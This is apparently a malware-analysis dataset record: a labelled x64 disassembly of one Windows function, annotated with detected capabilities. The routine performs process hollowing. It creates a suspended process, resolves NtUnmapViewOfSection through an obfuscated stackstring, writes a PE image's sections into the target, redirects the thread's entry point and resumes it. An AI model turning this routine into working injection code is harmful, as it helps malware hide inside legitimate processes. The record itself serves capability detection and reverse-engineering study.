Function at 0x140005c80
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov r15, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov bl, r12b
mov byte [rbp + 0x88], bl
mov qword [rbp - 0x48], r12
mov qword [rbp + 0x90], r12
mov qword [rbp - 0x50], r12
call fcn.1400af808
movzx edi, r12b
mov r14b, byte [rbp + 0xa8]
test r14b, r14b
je 0x140005d8b
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], r12b
mov r9b, byte [rbp + 0xa0]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x48]
mov ecx, eax
call fcn.1400b0d48
test al, al
je 0x140005d47
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140005d47
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
call fcn.1400144d0
test eax, eax
je 0x140005d47
mov rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x90]
call fcn.1400b3668
test eax, eax
lea eax, [r12 + 1]
cmovne edi, eax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005d82
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006345
call fcn.140081628
test dil, dil
je 0x14000631c
lea rdx, [0x1400d14d0]
lea rcx, [rbp - 0x70]
call fcn.14000910c
cmp qword [rax + 0x18], 0x10
jb 0x140005da5
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005dec
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005de7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000634b
call fcn.140081628
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], r12b
test rdi, rdi
je 0x14000631c
lea rdx, [0x1400d0690]
lea rcx, [rsp + 0x60]
call fcn.14000910c
cmp qword [rax + 0x18], 0x10
jb 0x140005e20
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e33a8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140005e70
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006351
call fcn.140081628
lea rdx, [0x1400d06c0]
lea rcx, [rsp + 0x60]
call fcn.14000910c
cmp qword [rax + 0x18], 0x10
jb 0x140005e8b
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e33a0], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140005edb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ed6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006357
call fcn.140081628
lea rdx, [0x1400d06f0]
lea rcx, [rsp + 0x60]
call fcn.14000910c
cmp qword [rax + 0x18], 0x10
jb 0x140005ef6
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3398], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140005f46
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000635d
call fcn.140081628
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x1400061e5
movsxd rbx, dword [r13 + 0x3c]
add rbx, r13
cmp dword [rbx], 0x4550
jne 0x1400061df
lea rdx, [rbp + 0xa8]
mov rcx, rsi
call fcn.1400b98d4
mov ecx, 0x14c
mov eax, dword [rbp + 0xa8]
cmp word [rbx + 4], cx
jne 0x140005f91
test eax, eax
jne 0x14000631c
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140005fa5
cmp eax, 6
jne 0x14000631c
lea rdi, [rbp - 0x70]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x30]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x30], edx
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], r12w
lea rax, [rbp - 0x70]
test r14b, r14b
je 0x140006006
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov r8, r15
mov rdx, rsi
mov rcx, qword [rbp - 0x50]
call fcn.1400b3b9c
jmp 0x14000601f
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov rdx, r15
mov rcx, rsi
call fcn.1400145f4
test eax, eax
je 0x1400061df
mov edx, listen
call fcn.1400b3aac
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.1400b3b20
mov rcx, qword [rbp - 0x70]
test eax, eax
je 0x1400061da
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x40]
call qword [0x1400e33a8]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp - 0x40]
xor r15d, r15d
cmp rax, rdx
jne 0x140006103
mov dword [rbp - 0x7d], 0x642e6c6c
mov word [rbp - 0x78], WSASetLastError
mov byte [rbp - 0x79], WSAGetLastError
mov word [rbp - 0x80], 0x746e
mov byte [rbp - 0x7e], 0x64
mov dword [rsp + 0x61], 0x6d6e5574
mov word [rsp + 0x70], 0x6974
mov word [rsp + 0x73], WSACleanup
mov dword [rsp + 0x6a], 0x53664f77
mov dword [rsp + 0x66], 0x65695670
mov word [rsp + 0x6e], 0x6365
mov byte [rsp + 0x60], 0x4e
mov byte [rsp + 0x72], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x65], 0x61
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x70]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0x98]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp - 0x70]
call fcn.1400143f8
mov r14, rax
mov rcx, qword [rbp - 0x70]
test rax, rax
je 0x1400061d0
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rdx, rax
call fcn.14001406c
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x140006185
add rsi, rbx
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r13
mov edx, dword [rsi - 8]
add rdx, r14
mov rcx, qword [rbp - 0x70]
call fcn.14001406c
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140006158
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x70]
call fcn.14001406c
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [0x1400e33a0]
mov rcx, qword [rbp - 0x68]
call qword [0x1400e3398]
mov ebx, 1
xor r12d, r12d
jmp 0x1400061e5
call fcn.14000b5bc
xor r12d, r12d
jmp 0x1400061df
call fcn.14000b5bc
mov bl, byte [rbp + 0x88]
cmp qword [rbp + 0x90], r12
je 0x1400062f8
lea rdx, [0x1400d0710]
lea rcx, [rbp - 0x70]
call fcn.14000910c
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000620d
mov rax, qword [rax]
mov rcx, rax
call fcn.1400b3448
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140006253
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000624e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006363
call fcn.140081628
mov qword [rbp - 0x60], r12
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x58], rsi
mov byte [rbp - 0x70], r12b
test rdi, rdi
je 0x1400062f8
lea rdx, [0x1400d0730]
lea rcx, [rsp + 0x60]
call fcn.14000910c
cmp qword [rax + 0x18], 0x10
jb 0x140006288
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e33d0], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400062db
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000633f
call fcn.140081628
mov rax, qword [0x1400e33d0]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rsi
mov byte [rsp + 0x60], r12b
test rax, rax
je 0x1400062f8
mov rcx, qword [rbp + 0x90]
call rax
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000630a
call fcn.1400b3dc4
mov qword [rbp - 0x50], r12
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140006318
call fcn.1400b3dc4
mov al, bl
jmp 0x14000631e
xor al, al
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140087f58
int3
call fcn.140087f58
int3
call fcn.140087f58
int3
call fcn.140087f58
int3
call fcn.140087f58
int3
call fcn.140087f58
int3
call fcn.140087f58
int3